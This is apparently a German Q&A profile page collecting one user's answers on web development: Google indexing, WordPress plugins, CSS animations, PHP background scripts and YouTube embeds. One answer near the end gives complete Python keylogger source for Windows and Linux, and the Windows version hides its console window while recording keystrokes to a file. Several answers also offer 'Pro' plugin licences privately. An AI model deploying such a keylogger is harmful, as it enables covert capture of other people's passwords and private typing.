Ich Erkläre ihnen nun wie das mit der Websuche abläuft:

Damit Suchende bei Google Antworten auf ihre Fragen bekommen, muss einiges passieren:

  1. Crawling Queue: Als Erstes müssen sich die neuen Seiten in der Crawling Queue an die Schlange anstellen und warten, bis sie als Nächstes dran sind.
  2. Crawler: Dann kommt der Crawler und ruft die Seite auf. 
  3. Processing: Danach ist die Seite im Bereich des Processing.
  • Der reine HTML Content einer Seite wird hier ausgelesen und die gefundenen Links zu weiteren Seiten werden zurück in die Crawling Queue geschickt, damit sie auch aufgerufen werden können. 
  • Enthält die Seite auch dynamische Inhalte wie Javascript, muss die Seite in die Render Queue, um sich für das Rendering anzustellen. 
  • Im Rendering (WRS) werden die dynamischen Inhalte ausgelesen, damit sie auch für die Indexierung berücksichtigt werden können. 
  1. Indexierung: Der HTML Content wird als Erstes indexiert, da dieser Vorgang zügig vonstattengeht und Rendering für die Indexierung grundsätzlich nicht nötig ist. Anschließend werden die gerenderten Javascript Inhalte indexiert. Stichwort: Asynchronous Processing.
  2. Ranking: Nur für Inhalte, die im Laufe der Indexierung in den Index gelangt sind, ist dann auch das Ranking der Seite möglich, die sich am Anfang in die Crawl Queue gestellt hat. 

-- Um das Ranking und die Indexierung so gut wie möglich zu machen benötigt ihre Webseite eine gute SEO verfügbarkeit. Wenn sie Wordpress nutzen kann ich ihnen nur das Plugin "YOAST SEO" empfehlen. Wenn sie hierzu die Pro Version nutzen wollen sagen Sie mir bitte Privat bescheid ich habe die GPL Lizenz hierfür.

Ich hoffe ich konnte Helfen und ihnen die Indexierung etwas veranschaulichen wie das mit der Websuche funktioniert.

mit freundlichen Grüßen

~ Narufumi

...zur Antwort

Schönen guten Abend. Ich bin hier um zu helfen :)

Was sie suchen ist ein Produkt filter Plugin. Durch meine Jahrelange Erfahrung als Webentwickler kann ich dir nur dieses Plugin empfehlen : https://wordpress.org/plugins/woo-product-filter/

Wenn du die Pro version benötigst können Sie mich gerne Privat Kontaktieren habe die GPL Lizenz die ich ihnen geben kann.

Ich hoffe ich konnte helfen.

MFG

~ Narufumi

...zur Antwort
Nutzen sie hierführ das Plugin "Really Simple SSL Pro" -> https://www.gplastra.com/really-simple-ssl-pro-17623/Wenn das nicht funktionert Kontaktieren sie mich bitte.

MFG ~ Narufumi

...zur Antwort

So erstellen Sie dieses Programm (Circle Loader mit Häkchen-Animation). Zuerst müssen Sie zwei Dateien erstellen, eine HTML-Datei und eine CSS-Datei. Nachdem Sie diese Dateien erstellt haben, fügen Sie einfach die folgenden Codes in Ihre Datei ein.

Erstellen Sie zunächst eine HTML-Datei mit dem Namen index.html und fügen Sie die angegebenen Codes in Ihre HTML-Datei ein. Denken Sie daran, dass Sie eine Datei mit der Erweiterung .html erstellen müssen.

<!DOCTYPE html>
<!-- Created By Narufumi -->
<html lang="en" dir="ltr">
   <head>
      <meta charset="utf-8">
      <title>Loader with Checkmark Animation | CodingNepal</title>
      <link rel="stylesheet" href="style.css">
   </head>
   <body>
      <input type="checkbox" id="check">
      <label for="check">
         <div class="check-icon"></div>
      </label>
   </body>
</html>

Erstellen Sie zweitens eine CSS-Datei mit dem Namen style.css und fügen Sie die angegebenen Codes in Ihre CSS-Datei ein. Denken Sie daran, dass Sie eine Datei mit der Erweiterung .css erstellen müssen.

@import url('https://fonts.googleapis.com/css?family=Poppins:400,500,600,700&display=swap');
*{
  margin: 0;
  padding: 0;
  box-sizing: border-box;
  font-family: 'Poppins', sans-serif;
}
html,body{
  display: grid;
  height: 100%;
  place-items: center;
  background: #000;
}
label{
  position: relative;
  height: 125px;
  width: 125px;
  display: inline-block;
  border: 2px solid rgba(255,255,255,0.2);
  border-radius: 50%;
  border-left-color: #5cb85c;
  animation: rotate 1.2s linear infinite;
}
@keyframes rotate {
  50%{
    border-left-color: #9b59b6;
  }
  75%{
    border-left-color: #e67e22;
  }
  100%{
    transform: rotate(360deg);
  }
}
label .check-icon{
  display: none;
}
label .check-icon:after{
  position: absolute;
  content: "";
  top: 50%;
  left: 28px;
  transform: scaleX(-1) rotate(135deg);
  height: 56px;
  width: 28px;
  border-top: 4px solid #5cb85c;
  border-right: 4px solid #5cb85c;
  transform-origin: left top;
  animation: check-icon 0.8s ease;
}
@keyframes check-icon {
  0%{
    height: 0;
    width: 0;
    opacity: 1;
  }
  20%{
    height: 0;
    width: 28px;
    opacity: 1;
  }
  40%{
    height: 56px;
    width: 28px;
    opacity: 1;
  }
  100%{
    height: 56px;
    width: 28px;
    opacity: 1;
  }
}
input{
  display: none; 
}
input:checked ~ label .check-icon{
  display: block;
}
input:checked ~ label{
  animation: none;
  border-color: #5cb85c;
  transition: border 0.5s ease-out;
}

Das ist alles, jetzt haben Sie erfolgreich einen Circle Loader mit Häkchen-Animation nur mit HTML und CSS erstellt. Wenn Ihr Code nicht funktioniert Schreiben sie mir.
Ich hoffe ich konnte Helfen ~ Narufumi

...zur Antwort

ERSTELLEN SIE EIN KOMMANDOZEILEN-SKRIPT

1a-Hintergrund.php
<?php
// (A) NUR KOMMANDOZEILE!
if (isset($_SERVER["REMOTE_ADDR"]) || isset($_SERVER["HTTP_USER_AGENT"]) || !isset($_SERVER["argv"])) {
 exit("Bitte führen Sie dieses Skript von der Befehlszeile aus");
}

 

// DIESES DUMMY-SKRIPT ERSTELLT EINE DUMMY-TEXT-DATEI

// ABER SIE TUN, WAS AUCH IMMER IN IHREM EIGENEN PROJEKT ERFORDERLICH IST...

file_put_contents("dummy.txt", "Hintergrundskript ausgeführt um " . date("Y-m-d H:i:s"));

Dies sollte selbsterklärend sein, beginnen Sie mit der Erstellung Ihres „Hintergrundprozessskripts“. Dies kann alles sein, was Sie tun möchten – einige Zahlen zerkleinern, langwierige Scans durchführen oder umfangreiche Berichte erstellen. Für dieses einfache Beispiel erstellen wir einfach eine dummy.txt-Datei auf dem Server.

 

 

FÜHREN SIE DAS HINTERGRUNDSKRIPT AUS

1b-run.php
<?php
// (A) ABSOLUTE PATH TO BACKGROUND SCRIPT
$script = __DIR__ . DIRECTORY_SEPARATOR ."1a-background.php";

// (B) RUN BACKGROUND SCRIPT
// NOTE: PHP_OS_FAMILY IS AVAILABLE IN PHP 7.2+ ONLY
switch (strtolower(PHP_OS_FAMILY)) {
  // (B1) UNSUPPORTED OS
  default:
    echo "Unsupported OS";
    break;
 
  // (B2) WINDOWS
  case "windows":
    echo "Windows";
    pclose(popen("start /B php $script", "r"));
    break;
 
  // (B3) LINUX
  case "linux":
    echo "Linux";
    exec("php $script > /dev/null &");
    break;
}

Wie führen wir 1a-background.php „im Hintergrund“ aus? Wir erstellen ein PHP-Skript, um ein PHP-Skript in der Befehlszeile auszuführen. Ja, greifen Sie einfach auf 1b-run.php zu und prüfen Sie, ob die Datei dummy.txt auf dem Server generiert wird.

P.S. Stellen Sie sicher, dass PHP die Berechtigung zum Ausführen der Befehle hat, sonst schlägt dies fehl.

 

DAS POTENZIELLE PROBLEM & PRÄVENTION

Diese Methode funktioniert, aber es gibt ein potenzielles Problem, wenn ungeduldige Benutzer den Reload-Button viele Male spammen. Das erzeugt mehrere Instanzen des Hintergrundskripts und kann den Server zum Absturz bringen. Es ist besser, einige „Kontrollen und Sperren“ einzubauen, ein einfacher Trick, den ich verwende:

Generieren Sie eine Dummy-lock.txt, wenn die Hintergrundverarbeitung beginnt.

lock.txt am Ende löschen.

Ausführen des Hintergrundskripts nicht zulassen, wenn die Sperre vorhanden ist – if (file_exists("lock.txt")) { exit("Already Running"); }

Wenn es nicht funktioniert werde ich einen weiteren Code für Sie Schreiben

Mit freundlichen Gruß

Narufumi

...zur Antwort

Templates erstellen und Runterladen - Elementor hat ja diese nützliche funktionen.

DH du kannst Muster-Webseiten erstellen (als Templates Runterladen) für Firmen sie diese zeigen und dann ganz easy Hochladen.

mit freundlichen grüßen

鳴ふみ Narufmi

...zur Antwort

Ich würde ihn Selber Programmieren - Wenn du Dazuhilfe brauchst kannst du dich gerne bei mir Melden

mit freundlichen gruß

Narufumi

...zur Antwort

Schönen Guten Abend.

Meinst du sowas in der art?

body {
 min-height: 600px;
}

/* Set up our figurative canvas */
.container {
 transform-style: preserve-3d;
 perspective: 1400px;

 position: absolute;
 top: 60%;
 left: 40%;
}

/* Base of slinky */
.slinky {
 transform: rotateX(-100deg) rotateZ(50deg);
 box-shadow: 0 0 50px 25px #ccc;
}

/* All slinky segments */
div {
 transform-style: preserve-3d;
 transform-origin: 50% 50%;
 transform: translateZ(-3px);
  
 width: 200px;
 height: 200px;
 background: transparent;
 border: 10px solid #888;
 border-radius: 104px;
 box-shadow: 0 0 2px 1px #000, inset 0 0 1px 1px #000;
 position: absolute;
 top: -10px;
 left: -10px;
 transition: all .75s ease-in-out;
}

.slinky div {
 transform-origin: -10% -10%;
}

/* Bend slinky when you hover */
body:hover .slinky div {
 transform-origin: -10% -10%;
 transform: rotateY(5deg) translateZ(-1px) translateY(-1px);
}

https://codepen.io/rupl/pen/ndOQBx

Mit Freundlichen Grüßen

鳴ふみ Narufumi

...zur Antwort

Wie mein Kollege oben schon erwähnt hat wird es schwierig eine Datenbank alleine mit einen Script zu erstellen. Am besten du Kontaktierst deinen Webhoster.

...zur Antwort

Guten Abend.

Mit dieser Methode können Sie das neueste, zweitneueste oder drittneueste Video von jedem YouTube-Kanal einbetten, indem Sie dessen Kanal-ID kennen. Die Kanal-ID sollte im cid-Parameter des Iframes ersetzt werden. Um das neueste Video zu laden, verwenden Sie den Parameter vnum='0' und für das zweitneueste verwenden Sie vnum='1' und so weiter.

<iframe class="latestVideoEmbed" vnum='0' cid="UCBJycsmduvYEL83R_U4JriQ" width="600" height="340" frameborder="0" allowfullscreen></iframe>

<iframe class="latestVideoEmbed" vnum='1' cid="UC0xXUfNSFQN3qOmf_G_nT5w" width="600" height="340" frameborder="0" allowfullscreen></iframe>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

<script>

var reqURL = "https://api.rss2json.com/v1/api.json?rss_url=" + encodeURIComponent("https://www.youtube.com/feeds/videos.xml?channel_id=");

function loadVideo(iframe) {

$.getJSON(reqURL + iframe.getAttribute('cid'),

function(data) {

var videoNumber = (iframe.getAttribute('vnum') ? Number(iframe.getAttribute('vnum')) : 0);

console.log(videoNumber);

var link = data.items[videoNumber].link;

id = link.substr(link.indexOf("=") + 1);

iframe.setAttribute("src", "https://youtube.com/embed/" + id + "?controls=0&autoplay=1");

}

);

}

var iframes = document.getElementsByClassName('latestVideoEmbed');

for (var i = 0, len = iframes.length; i < len; i++) {

loadVideo(iframes[i]);

}

</script>

Hier kannst du den Code austesten und ggf anpassen:

https://jsfiddle.net/shaneapen/wh6r1suy/

Mit freundlichen Grüßen

Narufumi

...zur Antwort

Eine Genaue Analyse der Speicherverteilung ist leider nicht möglich. Es sei denn du Hostest dein Server Selbst. Dann gibt es Spezielle Konsolen Codes.

Was du aber nachschauen kannst ist wie viel Webseitenspeicher du hast und wie viel dir noch zur Verfügung steht. Gehe dort einfach auf Dashboard deines Hosting-Anbieters. Alternativ frage dein Hosting-Anbieter.

MFG

Narufumi

...zur Antwort

Hallo!

Für WIndows:

# Python code for keylogger

# to be used in windows

import
win32api

import
win32console

import
win32gui

import
pythoncom, pyHook

 
 

win =
win32console.GetConsoleWindow()

win32gui.ShowWindow(win, 0)

 
 

def
OnKeyboardEvent(event):

    if
event.Ascii==5:

        _exit(1)

    if
event.Ascii !=0
or
8:

    #open output.txt to read current keystrokes

        f =
open('c:\output.txt', 'r+')

        buffer
=
f.read()

        f.close()

    # open output.txt to write current + new keystrokes

        f =
open('c:\output.txt', 'w')

        keylogs =
chr(event.Ascii)

        if
event.Ascii ==
13:

        keylogs =
'/n'

        buffer
+=
keylogs

        f.write(buffer)

        f.close()

# create a hook manager object

hm =
pyHook.HookManager()

hm.KeyDown =
OnKeyboardEvent

# set the hook

hm.HookKeyboard()

# wait forever

pythoncom.PumpMessages()

Linux:

# Python code for keylogger

# to be used in linux

import
os

import
pyxhook

 
 

# This tells the keylogger where the log file will go.

# You can set the file path as an environment variable ('pylogger_file'),

# or use the default ~/Desktop/file.log

log_file =
os.environ.get(

    'pylogger_file',

    os.path.expanduser('~/Desktop/file.log')

)

# Allow setting the cancel key from environment args, Default: `

cancel_key =
ord(

    os.environ.get(

        'pylogger_cancel',

        '`'

    )[0]

)

 
 

# Allow clearing the log file on start, if pylogger_clean is defined.

if
os.environ.get('pylogger_clean', None) is
not
None:

    try:

        os.remove(log_file)

    except
EnvironmentError:

       # File does not exist, or no permissions.

        pass

 
 

#creating key pressing event and saving it into log file

def
OnKeyPress(event):

    with open(log_file, 'a') as f:

        f.write('{}\n'.format(event.Key))

 
 

# create a hook manager object

new_hook =
pyxhook.HookManager()

new_hook.KeyDown =
OnKeyPress

# set the hook

new_hook.HookKeyboard()

try:

    new_hook.start()         # start the hook

except
KeyboardInterrupt:

    # User cancelled from command line.

    pass

except
Exception as ex:

    # Write exceptions to the log file, for analysis later.

    msg =
'Error while catching events:\n  {}'.format(ex)

    pyxhook.print_err(msg)

    with open(log_file, 'a') as f:

        f.write('\n{}'.format(msg))

MFG

鳴ふみ Narufumi

...zur Antwort

Moin Moin

Kannst dir ja mal diese Seite anschauen falls es nicht Funktioniert kann ich dir ein HTML code schreiben

https://codewatchers.com/en/blog/how-to-use-wordpress-to-display-recent-videos-from-a-youtube-channel

MFG

Narufumi

...zur Antwort

Alternativ würde ich es in das Child Theme deines Parent Theme rein schreiben, da du so verhinderst dass deine Webseite sich verschießt du einen sauberen überblick behältst und es vor automatischen Updates sicher ist.

Wenn du nicht weisst wie das geht kann ich dir gerne Helfen :).

MFG

...zur Antwort
Weitere Inhalte können nur Nutzer sehen, die bei uns eingeloggt sind.